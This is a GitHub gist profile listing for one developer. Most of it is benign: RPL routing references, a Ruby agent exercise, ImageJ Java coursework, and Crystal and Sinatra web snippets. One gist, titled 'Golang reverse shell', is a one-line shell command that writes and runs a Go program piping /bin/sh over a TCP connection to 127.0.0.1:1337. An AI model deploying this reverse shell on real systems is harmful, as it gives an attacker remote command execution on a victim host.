Skip to content

Instantly share code, notes, and snippets.

View hugoabonizio's full-sized avatar
👾

Hugo Abonizio hugoabonizio

👾
View GitHub Profile
VASSEUR, J.P.; AGARWAL, N.; HUI, J. RPL: The IP routing protocol designed for low power and lossy networks. Abril de 2011.
PARADISI, A.; TIBERGHIEN, J. Rpl dodag. Disponível em: http://pt.slideshare.net/asobimat/rpl-dodag
LOUREIRO, A.A.F.; NOGUEIRA, J.M.S; RUIZ, L.B. Redes de Sensores sem Fio. Belo Horizonte, Minas Gerais.
STRAUS, M. M. IWoT Internet of Thing and Web of Things: challenges and opportunities. 25 de Maio de 2013.
SIMO, G.L.D. Rpl:Routing Protocol for Low-Power and Lossy Networks. Disponível em: http://pt.slideshare.net/landrysimo16/rplrouting-protocol-for-lowpower-and-lossy-networks
CHIRGWIN, R. WTF is Routing Protocol for Low-Power and Lossy Networks?. Disponível em: http://www.theregister.co.uk/2013/08/30/wtf_is_rpl/
RFC 6550 - RPL: IPv6 Routing Protocol for Low-Power and Lossy Networks. Disponível em: https://tools.ietf.org/html/rfc6550
@hugoabonizio
hugoabonizio / agente_inteligente.rb
Last active August 29, 2015 14:18
Exercício da disciplina de Fundamentos de Inteligência Artificial
Agent = Struct.new(:x, :y)
$agent = Agent.new(rand(0..9), rand(0..9))
$scenario = Array.new(10) { Array.new(10, '-') }
10.times { $scenario[rand(0..9)][rand(0..9)] = '*' }
$scenario[$agent.x][$agent.y] = 'X'
$last_direction = 1
$count = 0
@hugoabonizio
hugoabonizio / gist:5ff88368fa2342f0805d
Last active April 28, 2016 13:17
Exercícios CG ImageJ
package aulavisaocomp;
import ij.ImagePlus;
import ij.io.Opener;
import ij.process.ByteProcessor;
import ij.process.ColorProcessor;
import ij.process.ImageProcessor;
import java.awt.Color;
import java.awt.image.BufferedImage;
import java.io.File;
require "http/server"
require "http/server/handlers/websocket_handler"
handlers = [] of HTTP::Handler
handlers << HTTP::LogHandler.new
handlers << HTTP::WebSocketHandler.new do |req|
puts "> #{req}"
end
server = HTTP::Server.new(3000, handlers)
server.listen
require "banjo"
require "http"
class WelcomeController < Banjo::Controller::Base
def index
end
def test
render text: "aaa"
end
@hugoabonizio
hugoabonizio / exercicio.java
Created July 21, 2015 13:58
Exercício 6 - Histograma
package aulacompgrafica;
import ij.ImagePlus;
import ij.io.Opener;
import ij.process.ByteProcessor;
import ij.process.ColorProcessor;
import ij.process.ImageProcessor;
import java.awt.Color;
public class AulaCompGrafica {
@hugoabonizio
hugoabonizio / sinatra.rb
Created September 14, 2015 02:17
Simple Sinatra app
require 'sinatra'
get '/:name' do
"Hello world, #{params[:name]}!"
end
@hugoabonizio
hugoabonizio / frank.cr
Created September 14, 2015 02:25
Simple frank app
require "frank"
get "/:name" do |ctx|
"Hello world, #{ctx.params["name"]}!"
end
@hugoabonizio
hugoabonizio / shell.go
Created June 1, 2016 16:10 — forked from takeshixx/shell.go
Golang reverse shell
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","127.0.0.1:1337");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run();}'>/tmp/sh.go&&go run /tmp/sh.go
require "./bojack/src/bojack/client"
require "benchmark"
client = BoJack::Client.new
N = 100
Benchmark.bm do |x|
x.report "shared" do
N.times do
client.set "bo", "jack"
end